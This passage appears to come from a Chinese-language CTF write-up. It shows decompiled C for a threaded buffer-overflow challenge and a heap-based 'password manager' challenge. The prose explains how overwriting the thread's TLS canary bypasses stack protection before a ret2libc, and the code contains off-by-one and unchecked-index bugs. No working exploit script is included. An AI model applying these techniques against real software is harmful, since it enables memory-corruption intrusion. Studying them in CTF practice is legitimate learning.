return v7 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall game(void *a1)
{
__int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset(buf, 0, 32);
getchar();
read(0, buf, len);
return v3 - __readfsqword(0x28u);
}
有canary 没有pie,修改寄存器的gadget也有
posix接口创建的线程 tls结构体离函数栈帧很近,可以覆盖tls中的canary去绕过canary然后打ret2libc,tls附近有一两个指针在程序执行的时候会往里面写数据,想到了一种很简单的方法,把game函数的canary和tls中的canary覆盖成指向bss的指针,直接一路写过去,就不需要管指针解引用段错误的问题了
程序的逻辑
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_1289(a1, a2, a3);
puts("Welcome to the Very Secure Password Manager!");
puts("--------------------------------------------\n");
puts("1. Save new password");
puts("2. Check my passwords");
puts("3. Delete credentials");
puts("4. Exit");
while ( 1 )
{
v3 = 0;
printf("Input: ");
__isoc99_scanf("%d", &v3);
getchar();
if ( v3 <= 0 || v3 > 4 )
break;
switch ( v3 )
{
case 4:
exit_();
case 3:
delete_password();
break;
case 1:
save_password();
break;
default:
show_password();
break;
}
}
puts("Not a valid choice :(");
exit(0);
}
unsigned __int64 save_password()
{
unsigned int v1; // [rsp+8h] [rbp-68h] BYREF
int i; // [rsp+Ch] [rbp-64h]
__int64 v3; // [rsp+10h] [rbp-60h]
__int64 v4; // [rsp+18h] [rbp-58h]
__int64 v5; // [rsp+20h] [rbp-50h]
__int64 v6; // [rsp+28h] [rbp-48h]
__int64 v7; // [rsp+30h] [rbp-40h]
__int64 v8; // [rsp+38h] [rbp-38h]
__int64 v9; // [rsp+40h] [rbp-30h]
__int64 v10; // [rsp+48h] [rbp-28h]
__int64 v11; // [rsp+50h] [rbp-20h]
__int64 v12; // [rsp+58h] [rbp-18h]
unsigned __int64 v13; // [rsp+68h] [rbp-8h]
v13 = __readfsqword(0x28u);
for ( i = 0; i <= 9 && *((_QWORD *)&unk_4060 + 5 * i); ++i )
;
if ( i == 10 )
{
puts("No more space to save passwords.");
exit(0);
}
printf("\nSelect length: ");
v1 = 0;
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 >= 0x79 )
{
puts("Sorry, not enough resources!");
exit(0);
}
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
*((_QWORD *)&unk_4060 + 5 * i) = malloc((int)v1);
printf("Enter credentials: ");
read(0, *((void **)&unk_4060 + 5 * i), (int)(v1 + 1));
printf("Name of the credentials: ");
read(0, (char *)&unk_4060 + 40 * i + 8, (int)(v1 + 1));
return __readfsqword(0x28u) ^ v13;
}
int show_password()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
v0 = *((_QWORD *)&unk_4060 + 5 * i);
if ( v0 )
LODWORD(v0) = printf(
"%d. %.*s --> %s",
(unsigned int)i,
32,
(const char *)&unk_4060 + 40 * i + 8,
*((const char **)&unk_4060 + 5 * i));
}
return v0;
}
unsigned __int64 delete_password()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
printf("Select index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( !*((_QWORD *)&unk_4060 + 5 * v1) )
{
puts("You can't delete a non-existent password.");
exit(0);
}
free(*((void **)&unk_4060 + 5 * v1));
*((_QWORD *)&unk_4060 + 5 * v1) = 0LL;
memset((char *)&unk_4060 + 40 * v1 + 8, 0, 0x20uLL);
return __readfsqword(0x28u) ^ v2;
}